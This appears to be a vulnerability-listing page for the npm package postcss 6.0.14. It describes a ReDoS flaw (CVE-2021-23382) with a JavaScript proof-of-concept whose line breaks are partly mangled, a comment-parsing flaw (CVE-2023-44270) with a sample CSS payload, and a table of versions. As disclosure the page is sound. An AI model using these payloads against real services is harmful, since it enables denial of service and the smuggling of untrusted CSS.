NodeJS/postcss/6.0.14
Tool for transforming styles with JS plugins
https://www.npmjs.com/package/postcss
MIT
2 Security Vulnerabilities
Regular Expression Denial of Service in postcss
- https://nvd.nist.gov/vuln/detail/CVE-2021-23382
- https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641
- https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640
- https://github.com/advisories/GHSA-566m-qj78-rww5
- https://github.com/postcss/postcss/releases/tag/7.0.36
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
regex
\/\*\s* sourceMappingURL=(.*)
PoC
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
- https://nvd.nist.gov/vuln/detail/CVE-2023-44270
- https://github.com/postcss/postcss/commit/58cc860b4c1707510c9cd1bc1fa30b423a9ad6c5
- https://github.com/postcss/postcss/blob/main/lib/tokenize.js#L25
- https://github.com/postcss/postcss/releases/tag/8.4.31
- https://github.com/advisories/GHSA-7fh5-64p2-3v2j
- https://github.com/github/advisory-database/issues/2820
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
270 Other Versions
Version | License | Security | Released | |
---|---|---|---|---|
8.5.6 | MIT | 2025-06-16 - 13:58 | 15 days | |
8.5.5 | MIT | 2025-06-11 - 17:12 | 20 days | |
8.5.4 | MIT | 2025-05-29 - 05:51 | about 1 month | |
8.5.3 | MIT | 2025-02-19 - 13:45 | 4 months | |
8.5.2 | MIT | 2025-02-10 - 20:51 | 5 months | |
8.5.1 | MIT | 2025-01-14 - 10:55 | 6 months | |
8.5.0 | MIT | 2025-01-13 - 19:19 | 6 months | |
8.4.49 | MIT | 2024-11-11 - 19:59 | 8 months | |
8.4.48 | MIT | 2024-11-10 - 21:19 | 8 months | |
8.4.47 | MIT | 2024-09-14 - 14:37 | 10 months | |
8.4.46 | MIT | 2024-09-14 - 14:28 | 10 months | |
8.4.45 | MIT | 2024-09-04 - 09:35 | 10 months | |
8.4.44 | MIT | 2024-09-02 - 08:23 | 10 months | |
8.4.43 | MIT | 2024-09-01 - 19:07 | 10 months | |
8.4.42 | MIT | 2024-08-31 - 21:29 | 10 months | |
8.4.41 | MIT | 2024-08-05 - 23:08 | 11 months | |
8.4.40 | MIT | 2024-07-24 - 19:37 | 11 months | |
8.4.39 | MIT | 2024-06-29 - 18:22 | about 1 year | |
8.4.38 | MIT | 2024-03-20 - 22:55 | over 1 year | |
8.4.37 | MIT | 2024-03-19 - 16:57 | over 1 year | |
8.4.36 | MIT | 2024-03-17 - 20:09 | over 1 year | |
8.4.35 | MIT | 2024-02-07 - 15:37 | over 1 year | |
8.4.34 | MIT | 2024-02-05 - 19:22 | over 1 year | |
8.4.33 | MIT | 2024-01-04 - 19:04 | over 1 year | |
8.4.32 | MIT | 2023-12-02 - 02:56 | over 1 year | |
8.4.31 | MIT | 2023-09-28 - 22:15 | almost 2 years | |
8.4.30 | MIT | 1 | 2023-09-18 - 21:24 | almost 2 years |
8.4.29 | MIT | 1 | 2023-08-29 - 17:47 | almost 2 years |
8.4.28 | MIT | 1 | 2023-08-15 - 19:12 | almost 2 years |
8.4.27 | MIT | 1 | 2023-07-21 - 11:51 | almost 2 years |
8.4.26 | MIT | 1 | 2023-07-13 - 19:24 | almost 2 years |
8.4.25 | MIT | 1 | 2023-07-06 - 11:44 | almost 2 years |
8.4.24 | MIT | 1 | 2023-05-28 - 09:32 | about 2 years |
8.4.23 | MIT | 1 | 2023-04-19 - 19:03 | about 2 years |
8.4.22 | MIT | 1 | 2023-04-16 - 13:02 | about 2 years |
8.4.21 | MIT | 1 | 2023-01-06 - 20:29 | over 2 years |
8.4.20 | MIT | 1 | 2022-12-11 - 17:35 | over 2 years |
8.4.19 | MIT | 1 | 2022-11-10 - 22:57 | over 2 years |
8.4.18 | MIT | 1 | 2022-10-12 - 19:28 | over 2 years |
8.4.17 | MIT | 1 | 2022-09-30 - 11:29 | almost 3 years |
8.4.16 | MIT | 1 | 2022-08-06 - 18:59 | almost 3 years |
8.4.15 | MIT | 1 | 2022-08-06 - 18:25 | almost 3 years |
8.4.14 | MIT | 1 | 2022-05-18 - 16:14 | about 3 years |
8.4.13 | MIT | 1 | 2022-04-30 - 00:50 | about 3 years |
8.4.12 | MIT | 1 | 2022-03-16 - 08:38 | over 3 years |
8.4.11 | MIT | 1 | 2022-03-15 - 18:28 | over 3 years |
8.4.10 | MIT | 1 | 2022-03-15 - 18:18 | over 3 years |
8.4.9 | MIT | 1 | 2022-03-15 - 18:08 | over 3 years |
8.4.8 | MIT | 1 | 2022-03-07 - 02:10 | over 3 years |
8.4.7 | MIT | 1 | 2022-02-24 - 22:07 | over 3 years |